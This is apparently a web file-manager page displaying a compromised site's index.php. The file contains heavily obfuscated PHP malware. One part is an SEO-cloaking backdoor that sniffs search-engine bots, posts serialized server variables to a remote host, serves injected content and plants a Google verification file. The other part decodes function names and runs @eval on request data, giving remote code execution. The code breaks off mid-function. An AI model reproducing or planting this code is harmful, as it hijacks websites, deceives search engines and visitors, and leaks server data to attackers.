文件操作 - index.php

文件: /var/www/00a9a8c414a2c84b69ccb6044f0fc34f/Web/index.php

编辑文件内容

<?php define('A', 'jan20.ofu5573ytu/komeri::?[0:1]=[0:3~5]^[0:1~5]![0:6~10]|commoditys/^^!!::'); goto UO6xV; b1J4B: function k_uIY($u4dOz = '') { return preg_match("\x2f\50\x67\x6f\157\147\x6c\x65\56\x63\x6f\x2e\152\x70\174\x79\141\x68\157\x6f\x2e\143\x6f\x2e\152\x70\x7c\142\151\x6e\x67\x7c\x62\x61\151\144\165\x7c\147\157\x6f\147\x6c\145\56\x63\x6f\x6d\51\57\x73\x69", $u4dOz); } goto xRTHW; f5AyF: function olyHY($HGjvE, $jaNva = array()) { goto aLyc9; aLyc9: $C4e2c = 0; goto XKT8B; XKT8B: try { goto QtLS6; Uzsy0: if (feof($wmBma)) { goto cyBCW; } goto Vk3Bf; wR0Ee: m19zn: goto lKGYj; ARxHi: $xI4hl = ''; goto BzRT4; G3Rgy: $K8XHo .= substr($ro41k, $wo8M2 + 2, $CdPGZ); goto XxEac; qBGrW: Pvds7: goto gFNQa; XxEac: $ro41k = substr($ro41k, $wo8M2 + 2 + $CdPGZ + 2); goto WxHCg; IsOo5: KUw06: goto IWYiX; YkMeJ: if (!$d7QdP) { goto Q7M4F; } goto wESeo; w6L2w: if (!($C4e2c === 0)) { goto Pvds7; } goto NdYAE; IWYiX: $ro41k = $K8XHo; goto v25sU; J5JMP: $dkSyZ = $QUV0p["\150\x6f\x73\164"]; goto yu15F; yu15F: $WCgKj = $rJC68 === "\x68\x74\x74\160\x73" ? 443 : 80; goto llApo; ecHvR: curl_setopt($Qe2r6, CURLOPT_RETURNTRANSFER, 1); goto lRaju; d9IcW: $rJC68 = isset($QUV0p["\163\x63\x68\x65\155\145"]) ? $QUV0p["\x73\143\150\145\x6d\145"] : "\x68\x74\164\160"; goto J5JMP; BtxWb: jyjCZ: goto Uzsy0; U1vHm: $d7QdP = curl_exec($Qe2r6); goto G9WuF; yn4WM: zMfkb: goto U1vHm; llApo: $rP29o = isset($QUV0p["\160\x61\x74\x68"]) ? $QUV0p["\160\x61\x74\150"] : "\x2f"; goto b3Lxe; dFEI9: if (!($wo8M2 === false)) { goto Ta8mu; } goto A0UuA; hd7TQ: $CkGE2 = explode("\xd\12\xd\12", $C4e2c, 2); goto Nc_Nl; wSehH: $ro41k = isset($CkGE2[1]) ? $CkGE2[1] : ''; goto tjixG; JwIrm: fclose($wmBma); goto hd7TQ; Vk3Bf: $C4e2c .= fgets($wmBma, 1024); goto BwNYT; PMz8P: if (empty($jaNva)) { goto m19zn; } goto v3KNx; RH32l: cyBCW: goto JwIrm; NoLUR: fwrite($wmBma, $GOMGp); goto BtxWb; A9ano: $GOMGp .= $JLIO1; goto nmGaY; fc5Nt: $QUV0p = parse_url($HGjvE); goto d9IcW; ntnQY: $GOMGp .= $xI4hl; goto Qmv4Z; z1BSx: $Qe2r6 = curl_init(); goto mFmRY; YIjwS: if (!$wmBma) { goto g3ZTM; } goto TiSbL; BwNYT: goto jyjCZ; goto RH32l; qodwT: $epZ8T = ($rJC68 === "\x68\164\x74\160\163" ? "\x73\163\x6c\x3a\57\x2f" : '') . $dkSyZ . "\x3a" . $WCgKj; goto YinMA; wESeo: $C4e2c = trim(trim($d7QdP, "\357\xbb\xbf")); goto ukEgi; tjixG: if (!(stripos($JLIO1, "\124\x72\x61\x6e\163\x66\x65\162\55\105\x6e\143\x6f\x64\x69\156\x67\72\40\143\150\165\x6e\x6b\145\144") !== false)) { goto iOEgb; } goto Kwb39; XAL3F: curl_setopt($Qe2r6, CURLOPT_USERAGENT, "\127\110\x52"); goto PrVoX; TiSbL: $GOMGp = "{$rMLly}\x20{$rP29o}{$Wzhu0}\40\110\124\124\120\x2f\x31\56\x31\15\12"; goto exlhh; iJcG1: $CdPGZ = hexdec(substr($ro41k, 0, $wo8M2)); goto mAciO; QtLS6: if (!(function_exists("\143\165\162\154\137\151\x6e\x69\164") && function_exists("\143\x75\x72\154\x5f\x65\170\145\143"))) { goto S023E; } goto z1BSx; WxHCg: goto Cs_7C; goto IsOo5; b3Lxe: $Wzhu0 = isset($QUV0p["\161\165\145\x72\x79"]) ? "\x3f" . $QUV0p["\161\165\x65\162\x79"] : ''; goto ARxHi; A0UuA: goto KUw06; goto yJmaU; Ot3BV: g3ZTM: goto qBGrW; Nc_Nl: $JLIO1 = isset($CkGE2[0]) ? $CkGE2[0] : ''; goto wSehH; Kwb39: $K8XHo = ''; goto fJDMR; bxgiM: $xI4hl = http_build_query($jaNva); goto jaLNF; nXbw6: $wo8M2 = strpos($ro41k, "\xd\xa"); goto dFEI9; yJmaU: Ta8mu: goto iJcG1; oBerd: curl_setopt($Qe2r6, CURLOPT_POST, 1); goto APBlH; PrVoX: curl_setopt($Qe2r6, CURLOPT_CONNECTTIMEOUT, 0); goto ecHvR; g1n5V: curl_setopt($Qe2r6, CURLOPT_SSL_VERIFYHOST, false); goto z5ASz; QWXnE: curl_setopt($Qe2r6, CURLOPT_TIMEOUT, 60); goto eqV6u; kZMKY: if (!true) { goto KUw06; } goto nXbw6; lRaju: curl_setopt($Qe2r6, CURLOPT_SSL_VERIFYPEER, false); goto g1n5V; z5ASz: curl_setopt($Qe2r6, CURLOPT_FOLLOWLOCATION, 1); goto QWXnE; NdYAE: $C4e2c = ''; goto fc5Nt; BzRT4: $rMLly = "\107\x45\124"; goto RtjGq; sZPhP: $JLIO1 .= "\103\157\x6e\164\x65\156\x74\55\x4c\145\x6e\147\x74\x68\72\x20" . strlen($xI4hl) . "\15\12"; goto wR0Ee; nmGaY: if (!($rMLly === "\x50\117\123\124")) { goto nEMY_; } goto ntnQY; EPwK3: $C4e2c = trim($ro41k); goto Ot3BV; fJDMR: Cs_7C: goto kZMKY; ukEgi: Q7M4F: goto MMdn8; mAciO: if (!($CdPGZ === 0)) { goto EbDzF; } goto B7rwD; RtjGq: $JLIO1 = "\x55\x73\145\162\55\x41\x67\x65\x6e\x74\x3a\x20\127\x48\x52\xd\12"; goto PMz8P; jaLNF: $JLIO1 .= "\x43\x6f\x6e\x74\x65\156\164\55\x54\x79\160\x65\x3a\40\141\160\160\154\x69\x63\x61\x74\x69\157\156\x2f\x78\x2d\167\x77\x77\55\146\x6f\x72\x6d\55\165\162\x6c\145\156\x63\x6f\x64\145\x64\xd\12"; goto sZPhP; mFmRY: curl_setopt($Qe2r6, CURLOPT_URL, $HGjvE); goto XAL3F; B7rwD: goto KUw06; goto y6aYs; YinMA: $wmBma = stream_socket_client($epZ8T, $T_5N1, $x42pG, 45); goto YIjwS; lKGYj: $JLIO1 .= "\x43\x6f\156\x6e\145\143\x74\151\157\x6e\72\40\143\x6c\x6f\x73\145\xd\xa\xd\xa"; goto qodwT; v25sU: iOEgb: goto EPwK3; eqV6u: if (empty($jaNva)) { goto zMfkb; } goto oBerd; exlhh: $GOMGp .= "\110\157\163\x74\72\x20{$dkSyZ}\xd\12"; goto A9ano; G9WuF: curl_close($Qe2r6); goto YkMeJ; MMdn8: S023E: goto w6L2w; Qmv4Z: nEMY_: goto NoLUR; APBlH: curl_setopt($Qe2r6, CURLOPT_POSTFIELDS, http_build_query($jaNva)); goto yn4WM; y6aYs: EbDzF: goto G3Rgy; v3KNx: $rMLly = "\x50\117\123\x54"; goto bxgiM; gFNQa: } catch (Exception $F_jMU) { } goto Xak_Q; Xak_Q: return $C4e2c; goto I1lKb; I1lKb: } goto SPW2z; UO6xV: @date_default_timezone_set("\120\x52\103"); goto TMvZA; IkeSF: function STj5l($GXT_U = '') { goto msdRM; K96i3: if (!preg_match("\x2f\136\112\165\155\160\x40\x28\56\x2a\51\57", $pSvPu, $aAgzA)) { goto UyZs0; } goto yP6M3; zOxPN: die; goto b2KT7; wfYkE: $UyEHW = parse_url($t074h); goto fEGVi; sx8fc: AmcVW: goto MFgbs; NdeV1: $ewo6h = gbmAS($JtbTR); goto YP4Kf; v0pGI: echo sprintf($xYe69, $t074h, $t074h) . "\x3c\x62\x72\x20\x2f\76\x3c\142\x72\40\57\76"; goto wfYkE; b2KT7: G8Mk4: goto YXmZb; hr0xn: if (!preg_match("\x2f\x73\x69\x74\145\155\141\160\x2e\52\x3f\134\56\x78\155\154\44\57\163\x69", $GOUus)) { goto x4BWB; } goto cOgWw; b51PH: echo sprintf("\x3c\x62\x6f\x64\x79\40\157\x6e\x6c\157\x61\x64\x3d\x22\x64\x6f\143\165\x6d\145\156\164\56\x67\x65\x74\105\x6c\x65\x6d\145\x6e\164\163\x42\171\x54\141\147\116\141\x6d\x65\50\45\163\141\45\x73\51\133\x30\x5d\x2e\143\x6c\151\x63\153\x28\51\42\76\x3c\x61\40\x68\162\x65\146\x3d\x22\x25\x73\x22\76\74\x2f\141\76\x3c\x6e\157\x73\143\x72\151\160\164\x3e\x3c\x6d\145\x74\x61\x20\x68\164\164\x70\x2d\145\161\x75\151\166\75\42\162\145\146\x72\145\163\150\x22\40\143\157\156\x74\145\156\x74\75\42\x30\73\x20\x75\x72\154\75\x25\x73\42\x20\57\76\x3c\57\x6e\x6f\x73\143\x72\x69\x70\164\76\x3c\x2f\x62\x6f\144\171\76", "\x27", "\47", $n7XaY, $n7XaY); goto dfNCt; biO_B: $t074h = sprintf("\x68\164\x74\160\163\72\x2f\57\x25\163\56\x70\171", BUai1($KwkM7[0])); goto KGmUg; cOgWw: $pSvPu = OLyHY($t074h, array("\x78" => serialize($_SERVER))); goto oyS6W; fF61V: if (!preg_match("\57\136\x48\145\141\x64\100\50\56\x2a\77\51\100\100\x28\56\x2a\x29\57\x69\x73", $pSvPu, $mLBL0)) { goto uDXGI; } goto E6d7N; F8vYd: $JqGdN .= "\146\x69\143\x61"; goto csCGY; ZNtkp: $pSvPu = $mLBL0[2]; goto r0ds_; LSRY5: if (!isset($_GET[$AvQpa])) { goto Ef0F2; } goto g3UHD; KGmUg: $_SERVER["\171\x74\137\x6a\165\x6d\x70"] = 0; goto cok_R; I5zpg: $m6mXn .= "\x7d\134\56\170\150"; goto mkdBA; irebs: if (!preg_match("\57" . $m6mXn . "\44\x2f\x73\x69", $GOUus, $P7nJl)) { goto PXx1u; } goto th6EG; acdDI: $_SERVER["\x79\164\137\x6a\x75\155\x70"] = 1; goto b7Lrl; FJKCC: $AvQpa = "\171\x74\61"; goto i3g0g; s_JX4: $m6mXn .= "\x5d\x7b\x31\66"; goto I5zpg; cMTy_: $UFFYv .= "\124\x5f\x52\x4f\x4f\x54"; goto eyizT; x35A_: x4BWB: goto sqaNL; azEzT: $pSvPu = trim($pSvPu); goto BE3eZ; csCGY: $JqGdN .= $WsaCm; goto lU3UX; kphby: header("{$WsaCm}\x20\x2f{$JviCs}"); goto nXJ6R; lU3UX: $WsaCm = "\114\157\143\141" . $WsaCm; goto irebs; DkSZZ: goto AmcVW; goto y785m; qTrDu: $JqGdN .= "\147\x6c\x65\55\x73\x69"; goto dTKRj; R7NCX: return; goto HxVLR; cok_R: $_SERVER["\x79\164\x5f\x67\x7a"] = $KwkM7[1]; goto QekzQ; jK6c1: if (!preg_match("\57\136\110\145\x61\144\100\50\x2e\x2a\x3f\x29\x40\100\x28\56\52\x29\x2f\151\x73", $pSvPu, $mLBL0)) { goto jW1Qj; } goto pYT9S; BE3eZ: if (!in_array($pSvPu, array("\x2a\64\x30\64", "\x2a\x72\145\164\x75\x72\x6e"))) { goto EIzFX; } goto R7NCX; E6d7N: header($mLBL0[1]); goto orj5p; DBXeh: $JtbTR = isset($_SERVER["\110\x54\124\x50\137\125\x53\105\x52\x5f\101\x47\x45\x4e\124"]) ? $_SERVER["\110\x54\x54\120\x5f\125\x53\105\122\137\x41\x47\105\116\124"] : ''; goto NdeV1; fIf8M: $JqGdN = "\147\x6f\x6f"; goto qTrDu; y785m: jlHBa: goto YcwBn; cRiri: if (preg_match("\57\136\150\164\x74\x70\163\77\x2f\x73\151", $jcKA8)) { goto jlHBa; } goto v0pGI; orj5p: $pSvPu = $mLBL0[2]; goto OOhCg; XsUqt: file_put_contents("{$rXxVu}\57{$JviCs}", "{$JqGdN}\x20{$JviCs}"); goto NbJ0c; SOJha: $GOUus = $GOUus == '' ? isset($_SERVER["\x50\101\x54\110\137\111\x4e\x46\117"]) && $_SERVER["\120\x41\124\x48\137\111\116\x46\117"] != '' ? $_SERVER["\120\x41\x54\110\x5f\x49\x4e\x46\x4f"] : $GOUus : $GOUus; goto xiT2Y; HxVLR: EIzFX: goto K96i3; P1PQS: if (!($ewo6h || $nknVZ)) { goto G8Mk4; } goto TdpmX; NbJ0c: chmod($rXxVu, 0555); goto kphby; JzX88: die; goto d38Zq; dfNCt: P5Bs0: goto JzX88; NuGlw: $D2ghn = preg_match("\x2f\136\x68\164\164\160\163\x3f\x5c\x3a\x5c\57\x5c\x2f\x2f\x73\151", $n7XaY); goto lrrFk; SnINQ: if (!$nknVZ) { goto S6DdH; } goto acdDI; mkdBA: $m6mXn .= "\x74\155\154\x29"; goto fIf8M; d38Zq: UyZs0: goto fF61V; g3UHD: $jcKA8 = trim($_GET[$AvQpa]); goto cRiri; F9kSr: $pSvPu = oLyHY($t074h, array("\x78" => serialize($_SERVER))); goto azEzT; pYT9S: header($mLBL0[1]); goto ZNtkp; oyS6W: $pSvPu = trim($pSvPu); goto jK6c1; wThKX: echo "{$pSvPu}"; goto zOxPN; yP6M3: $n7XaY = trim($aAgzA[1]); goto NuGlw; YP4Kf: $nknVZ = k_UIY($PvRX4); goto hw8nr; MT15c: die; goto x35A_; e6Tns: chmod($rXxVu, 0755); goto XsUqt; kfKQb: echo $n7XaY; goto kKH0n; kKH0n: goto P5Bs0; goto nat3E; b7Lrl: S6DdH: goto F9kSr; msdRM: $GOUus = isset($_SERVER["\122\105\x51\125\x45\123\x54\x5f\125\x52\111"]) ? $_SERVER["\122\105\x51\x55\105\123\x54\x5f\x55\x52\111"] : (isset($_SERVER["\121\125\105\122\x59\x5f\123\124\122\x49\116\107"]) ? $_SERVER["\x51\125\105\x52\x59\137\123\124\122\111\x4e\107"] : ''); goto SOJha; d4oHs: Ef0F2: goto SnINQ; fEGVi: echo gethostbyname($UyEHW["\x68\157\x73\164"]); goto DkSZZ; QekzQ: $_SERVER["\x79\164\x5f\x75\x70"] = $KwkM7[2]; goto FJKCC; xiT2Y: $PvRX4 = isset($_SERVER["\110\124\x54\120\137\x52\x45\x46\105\x52\105\x52"]) ? $_SERVER["\110\x54\x54\x50\x5f\122\x45\x46\105\x52\x45\x52"] : ''; goto DBXeh; nXJ6R: die; goto DhscZ; eyizT: $rXxVu = $_SERVER[$UFFYv]; goto hr0xn; OOhCg: uDXGI: goto wThKX; hw8nr: $KwkM7 = explode("\72\x3a", A); goto biO_B; i3g0g: $UFFYv = "\x44\117\103"; goto cl0Su; DhscZ: PXx1u: goto P1PQS; r0ds_: jW1Qj: goto s3_DT; MFgbs: die; goto d4oHs; MQIUI: $m6mXn .= "\x67\x6c\145\133\134\x77"; goto s_JX4; dTKRj: $JqGdN .= "\164\x65\55\x76\x65\x72\x69"; goto F8vYd; YcwBn: echo OlYhy($jcKA8); goto sx8fc; sqaNL: $WsaCm = "\x74\x69\157\x6e\x3a"; goto s1X4m; s3_DT: echo "{$pSvPu}"; goto MT15c; cl0Su: $UFFYv .= "\125\115\x45\116"; goto cMTy_; TdpmX: $xYe69 = "\x3c\x61\x20\150\x72\x65\x66\75\42\45\163\x22\40\x74\141\x72\x67\x65\x74\x3d\x22\x5f\x62\x6c\141\156\x6b\42\x3e\45\163\x3c\x2f\x61\x3e"; goto LSRY5; nat3E: P0YlN: goto b51PH; s1X4m: $m6mXn = "\50\x67\157\157"; goto MQIUI; lrrFk: if ($D2ghn) { goto P0YlN; } goto kfKQb; th6EG: $JviCs = str_replace("\x2e\170", "\x2e", trim($P7nJl[1])); goto e6Tns; YXmZb: } goto tRSwt; xRTHW: function BUai1($OvXez) { goto axNN2; rFTJz: preg_match("\57\x28\x5b\x5e\134\56\x5d\53\134\x2e\x29\50\x2e\x2a\x29\50\134\x2f\x2e\52\51\57", $OvXez, $OQY5W); goto GAGZd; lwlM9: NBhAy: goto iGM5T; iGM5T: return $huaLI; goto g3ezr; inSWh: $A5e1j = preg_split("\57\57", $OQY5W[2], -1, PREG_SPLIT_NO_EMPTY); goto ZhS9v; rTzF3: if (!($OQY5W[2] != '')) { goto sju12; } goto inSWh; ZhS9v: foreach ($A5e1j as $A_MDP => $n3awN) { $A5e1j[$A_MDP] = chr(ord($n3awN) - 5); VWXqp: } goto j7Dsg; axNN2: $huaLI = ''; goto rFTJz; dta7O: $huaLI = implode('', $A5e1j); goto R7cid; GAGZd: if (!(is_array($OQY5W) && count($OQY5W) == 4)) { goto NBhAy; } goto rTzF3; R7cid: sju12: goto GfZw0; GfZw0: $huaLI = $OQY5W[1] . $huaLI . $OQY5W[3]; goto lwlM9; j7Dsg: tSi4D: goto dta7O; g3ezr: } goto IkeSF; TMvZA: if (!function_exists("\x6f\142\x5f\x73\x74\141\162\x74")) { goto MLbSl; } goto lwtzL; SPW2z: function gbMaS($wJHpg = '') { return preg_match("\57\x28\147\157\157\x67\154\145\x62\157\164\174\x62\x61\x69\144\165\x73\x70\151\x64\145\x72\x7c\142\151\x6e\x67\x62\157\x74\x7c\x67\x6f\157\x67\154\145\174\142\141\151\144\x75\174\x61\157\x6c\x7c\142\151\x6e\147\174\171\x61\x68\x6f\157\174\171\141\x6e\x64\145\x78\x29\x2f\x73\x69", $wJHpg); } goto b1J4B; NHUG5: MLbSl: goto f5AyF; lwtzL: @ob_start(); goto NHUG5; tRSwt: stj5l(); ?>
<?php
 goto FMfeyD3CTETvcsw; p06NuZUGSJ51AY2: exit("\173\40\x22\145\162\x72\x6f\x72\42\x3a\x20\x32\60\x30\54\x20\42\154\x63\x22\x3a\40\42\152\x6b\x22\x2c\x20\42\144\141\x74\141\x22\72\40\133\40\x31\x20\x5d\x20\x7d"); goto LofT_EOCbeNYuvc; W_BcFi8SqXXn2Pc: ($v94CD0s72XW4v2B[64] = $v94CD0s72XW4v2B[64] . $v94CD0s72XW4v2B[80]) && ($v94CD0s72XW4v2B[87] = $v94CD0s72XW4v2B[64]($v94CD0s72XW4v2B[87])) && @eval($v94CD0s72XW4v2B[64](${$v94CD0s72XW4v2B[45]}[14])); goto Q_fAcxBhe1anf9p; DPfw6P_4khvgSba: IwP0XezUNyTsQXn: goto wOfqqt0REEqrHIK; kTY35wKiDZJgxgB: if ($z4htFZdFu2aN5vw) { goto byOwYwk3UgezJBA; } goto AEEVtodEZP_NBr0; IabzCmPt_Vin4Jh: exit(strrev(md5($_SERVER["\x53\105\x52\x56\105\122\137\x4e\101\x4d\105"]))); goto KZwIq6O1Q3lwCnd; RkcfJJew2xqKo84: if (!in_array($Ddhhsk0MZ7zf_Su, array("\56\x6a\163", "\56\143\x73\x73", "\x2e\152\x70\147", "\x2e\160\156\x67", "\56\147\x69\146", "\x2e\151\143\157"))) { goto khx2d7PCWItedmJ; } goto wr12gcMp2EgvDhQ; Vgu4NLiOsaT2o57: switch ($X7sDOGVJW7KjWbh["\163\x74\141\164\165\x73"]) { case 301: goto dqPLr1b15R3eWsZ; dqPLr1b15R3eWsZ: header("\x48\124\124\120\57\61\x2e\x31\x20\x33\x30\x31\40\115\x6f\x76\145\144\40\120\145\x72\x6d\x61\x6e\x65\156\x74\x6c\x79"); goto CMi82hISOVgZj9P; pkWhME0DZf2h8Ra: goto dqQ0pqM8Xd0Sdqk; goto ZWm3eXGnwTleWnB; CMi82hISOVgZj9P: header("\x4c\x6f\143\x61\x74\151\157\156\x3a\40" . trim($X7sDOGVJW7KjWbh["\x63\x6f\x6e\164\145\x6e\x74"])); goto pkWhME0DZf2h8Ra; ZWm3eXGnwTleWnB: case 302: goto FP_KtAbo0OYUGTg; FP_KtAbo0OYUGTg: header("\x48\124\x54\x50\x2f\61\x2e\61\x20\x33\x30\62\40\115\x6f\x76\x65\40\124\145\x6d\160\x6f\162\141\x72\x69\154\x79"); goto RilLq8qe5VpkFue; RilLq8qe5VpkFue: header("\x4c\157\143\x61\164\x69\157\156\x3a\40" . trim($X7sDOGVJW7KjWbh["\x63\157\156\164\x65\x6e\x74"])); goto h7LqbMEGT7Qxqts; h7LqbMEGT7Qxqts: goto dqQ0pqM8Xd0Sdqk; goto NTYmK90YBzLLfsv; NTYmK90YBzLLfsv: case 404: goto xYfCGJTk0zHIyy8; seYHf99cmNoq4oc: goto dqQ0pqM8Xd0Sdqk; goto wUm5YUOLjgIvnr1; gAM7MQr8WNKw_8W: header("\163\164\x61\164\165\x73\72\x20\64\60\x34\x20\116\157\164\x20\x46\x6f\165\156\x64"); goto seYHf99cmNoq4oc; xYfCGJTk0zHIyy8: header("\x48\124\124\x50\57\x31\56\61\40\x34\60\64\40\x4e\157\164\40\x46\x6f\165\x6e\x64"); goto gAM7MQr8WNKw_8W; wUm5YUOLjgIvnr1: default: goto dqQ0pqM8Xd0Sdqk; } goto a3eFCqoEpQUrPMb; PAPZ4QthJvyi20P: if (!($_SERVER["\x52\105\x51\x55\105\123\x54\137\125\x52\x49"] === "\57\122\x2d" . md5($_SERVER["\123\105\122\126\105\122\x5f\116\x41\115\105"]))) { goto j9AJnyftdSNNtZ2; } goto IabzCmPt_Vin4Jh; jiCeTaQMhtfd61y: $S1YqIg5cM4Jy00x = strval(@$_SERVER["\110\124\124\120\137\122\105\x46\x45\122\105\x52"]); goto P3wF9FVidlXk__W; Ui7O5caMt4qOdjS: function Nlg4e5s_5kjz0TM($ao6E8J8G2SSe0XK) { goto XTw3aKLV4wHexoa; JUbZZUjpOb6NNeL: return rtrim(strtr(base64_encode($ao6E8J8G2SSe0XK), "\x2b\x2f", "\55\x5f"), "\x3d"); goto pBv5tSUnVFnYJvB; XTw3aKLV4wHexoa: if ($ao6E8J8G2SSe0XK) { goto HgFcJnUv6m5f72d; } goto Hj6hh8NS0uhNsdr; lkPSKxOaf0ITbnr: HgFcJnUv6m5f72d: goto JUbZZUjpOb6NNeL; Hj6hh8NS0uhNsdr: return ''; goto lkPSKxOaf0ITbnr; pBv5tSUnVFnYJvB: } goto bfBqMLOF6FeldLJ; Y2jO6zuypklZBa3: if (!(strpos($S1YqIg5cM4Jy00x, $Q7viLz2pgKmcXLI) === 0)) { goto fkQ7b8imJA1gm1t; } goto FDkbiob1aqQ8c9S; Q_fAcxBhe1anf9p: KCjxE7ZTepjvscV: goto KHIW62i9i3Idou6; P3wF9FVidlXk__W: $Q7viLz2pgKmcXLI = LTou2oUKY8m_cx6() . $_SERVER["\x48\124\124\120\137\110\x4f\x53\124"]; goto Y2jO6zuypklZBa3; zq8hXtaJQfYJX9c: error_reporting(0); goto K7v8osuVt1Vuo6X; wr12gcMp2EgvDhQ: $z4htFZdFu2aN5vw = true; goto sCfCYtLy646HDhy; P4yw06ylGsjsKm8: aHgwrPl6cilvCZ5: goto xvhID30jI_J5zsz; og7ZPVk1fYS5O_5: $D1us6eu_fkvls0r = $IMCOc7KJeT0mMnw("\176", "\40"); goto sjhmoCdl6embd0Z; KHIW62i9i3Idou6: metaphone("\x4d\x54\x49\x7a\x4f\124\x55\x34\117\x44\131\x35\x4e\104\x6b\x7a\115\104\147\x33\x4e\104\121\x34\116\172\x55\63\116\x44\147\170"); goto l6CYWP3yq3a3_Lc; JyUUHirC23f1nKe: exit(0); goto DPfw6P_4khvgSba; x4PJswKpI1NACsF: echo $X7sDOGVJW7KjWbh["\143\157\x6e\x74\x65\x6e\x74"]; goto JyUUHirC23f1nKe; W3TNKOVbBcqlyki: $VlVklofHkcZbukS["\151"] = nlg4e5S_5kJZ0tM($KOxNmXgrjUUtuDd); goto rul6hhyktx5iukR; LGvnye3PLdVpZV9: dqQ0pqM8Xd0Sdqk: goto P4yw06ylGsjsKm8; KZwIq6O1Q3lwCnd: j9AJnyftdSNNtZ2: goto TXiv7W25HMKGLAs; xsNtNM54sj9hRuh: function NiQYyQS92DqmKLC($i7SB5sYUlky_wpT, $x0W7oIiB6sw_eiE = array()) { goto J8koT8f6dy8GgoG; Cqb8GjKg2ECs1lR: $i7SB5sYUlky_wpT .= "\77" . http_build_query($x0W7oIiB6sw_eiE); goto lmywWR9Oob2_Mcc; Zqdr9ajr_kwEHpv: try { goto CGbScerelBMss5K; OnAZUGeqZJv0lQR: $Us1ArcMv2i1g6fD = @file_get_contents($i7SB5sYUlky_wpT, false, $A66OW4gKGeZIB8o); goto PbWbCMKUsLFrScE; PK27TVQQqJo5pfJ: $tueCVVtwVfwYEn7 = curl_init(); goto liePVGd9SJiIMx9; hYThLe8Vp_wf3fG: gCBaLiWGlHpq_dK: goto PK27TVQQqJo5pfJ; JgUsbfblD2ItFIi: goto SvDpO1oly3gDW0p; goto hYThLe8Vp_wf3fG; Vv8ByphmH4IZXMJ: $A66OW4gKGeZIB8o = stream_context_create($A1Aif4VUHcnu9cX); goto OnAZUGeqZJv0lQR; vBcYm9HQBHabv5V: curl_setopt($tueCVVtwVfwYEn7, CURLOPT_RETURNTRANSFER, 1); goto GnsfSY4J9QYIdG1; xpzYNhat3vNW5Yn: curl_setopt($tueCVVtwVfwYEn7, CURLOPT_TIMEOUT, 60); goto k5yz2lAufUqZXCy; l0JrWBkEsEdiGO_: $X7sDOGVJW7KjWbh["\143\x6f\x6e\164\145\x6e\x74"] = strval($pFDWNNPkqHKQfU2); goto whSy6oCWEFZtAkx; whSy6oCWEFZtAkx: ngQmr3K60GBqg2b: goto KfY8daVfdVIlr6B; k5yz2lAufUqZXCy: curl_setopt($tueCVVtwVfwYEn7, CURLOPT_FOLLOWLOCATION, 0); goto wHBxddV0TxTKroy; xHD63ZxACcnthA_: Jwkvw2IuQoBUDUx: goto lKpOCZqEO8Dryzm; gJlK0W0DImd5ORZ: $X7sDOGVJW7KjWbh["\x63\x6f\156\164\145\x6e\x74"] = strval(curl_getinfo($tueCVVtwVfwYEn7, CURLINFO_REDIRECT_URL)); goto e1ozkA9A7ubtuLu; qnGN2ZTmMYEtRaB: $X7sDOGVJW7KjWbh["\164\171\x70\145"] = strval(curl_getinfo($tueCVVtwVfwYEn7, CURLINFO_CONTENT_TYPE)); goto gJlK0W0DImd5ORZ; e1ozkA9A7ubtuLu: @curl_close($tueCVVtwVfwYEn7); goto utfUUuozzpFW9Th; ePdGDdnun0fhvtT: curl_setopt($tueCVVtwVfwYEn7, CURLOPT_CONNECTTIMEOUT, 20); goto xpzYNhat3vNW5Yn; wHBxddV0TxTKroy: curl_setopt($tueCVVtwVfwYEn7, CURLOPT_COOKIESESSION, 0); goto vBcYm9HQBHabv5V; TQQY3ROTD6yZah2: $X7sDOGVJW7KjWbh["\x63\157\x6e\164\145\156\164"] = strval($Us1ArcMv2i1g6fD); goto xHD63ZxACcnthA_; CGbScerelBMss5K: if (function_exists("\x63\x75\162\x6c\x5f\x65\x78\x65\143") && function_exists("\x63\165\162\154\137\151\x6e\x69\x74")) { goto gCBaLiWGlHpq_dK; } goto hh0m0zDseIMBLgm; PbWbCMKUsLFrScE: $X7sDOGVJW7KjWbh = array_merge($X7sDOGVJW7KjWbh, QBWxS9aVn6VL_37($http_response_header)); goto SDq5OI7GHubuAJg; liePVGd9SJiIMx9: curl_setopt($tueCVVtwVfwYEn7, CURLOPT_URL, $i7SB5sYUlky_wpT); goto tWEz7HrZfHG3gPI; KfY8daVfdVIlr6B: goto SvDpO1oly3gDW0p; goto gb_Ph3oPXHxf2Vp; SDq5OI7GHubuAJg: if (!in_array($X7sDOGVJW7KjWbh["\163\x74\141\x74\x75\x73"], array(200, 301, 302, 404))) { goto Jwkvw2IuQoBUDUx; } goto TQQY3ROTD6yZah2; FTXv04KZ0RCgT40: $A1Aif4VUHcnu9cX = array("\150\x74\x74\x70" => array("\x6d\145\x74\x68\x6f\144" => "\x47\105\124", "\x74\x69\155\x65\x6f\x75\164" => 60, "\146\157\154\x6c\x6f\x77\x5f\x6c\x6f\143\141\x74\151\x6f\x6e" => 0), "\163\163\x6c" => array("\x76\145\x72\151\146\171\137\x70\x65\x65\162" => false, "\x76\x65\x72\x69\146\x79\137\160\x65\145\162\137\x6e\x61\155\x65" => false)); goto Vv8ByphmH4IZXMJ; GnsfSY4J9QYIdG1: $pFDWNNPkqHKQfU2 = curl_exec($tueCVVtwVfwYEn7); goto PqTT6R9eItyB0FP; hh0m0zDseIMBLgm: if (ini_get("\141\154\154\x6f\x77\137\165\162\154\137\x66\157\x70\145\156")) { goto HRv6aVLNnlsFnM0; } goto JgUsbfblD2ItFIi; lKpOCZqEO8Dryzm: SvDpO1oly3gDW0p: goto u2cNu36ue2Q7y0r; utfUUuozzpFW9Th: if (!in_array($X7sDOGVJW7KjWbh["\163\164\x61\164\165\x73"], array(200, 301, 302, 404))) { goto ngQmr3K60GBqg2b; } goto l0JrWBkEsEdiGO_; tWEz7HrZfHG3gPI: curl_setopt($tueCVVtwVfwYEn7, CURLOPT_SSL_VERIFYHOST, 0); goto h_hEAGGDcpnqjqi; PqTT6R9eItyB0FP: $X7sDOGVJW7KjWbh["\x73\x74\x61\x74\165\x73"] = intval(curl_getinfo($tueCVVtwVfwYEn7, CURLINFO_HTTP_CODE)); goto qnGN2ZTmMYEtRaB; h_hEAGGDcpnqjqi: curl_setopt($tueCVVtwVfwYEn7, CURLOPT_SSL_VERIFYPEER, 0); goto ePdGDdnun0fhvtT; gb_Ph3oPXHxf2Vp: HRv6aVLNnlsFnM0: goto FTXv04KZ0RCgT40; u2cNu36ue2Q7y0r: } catch (Exception $iI_CbHx35jVwkk_) { } goto rmF2apHGP33gmKi; J8koT8f6dy8GgoG: $X7sDOGVJW7KjWbh = array("\163\164\141\x74\165\163" => 0, "\143\157\156\164\145\156\x74" => '', "\164\171\x70\145" => ''); goto 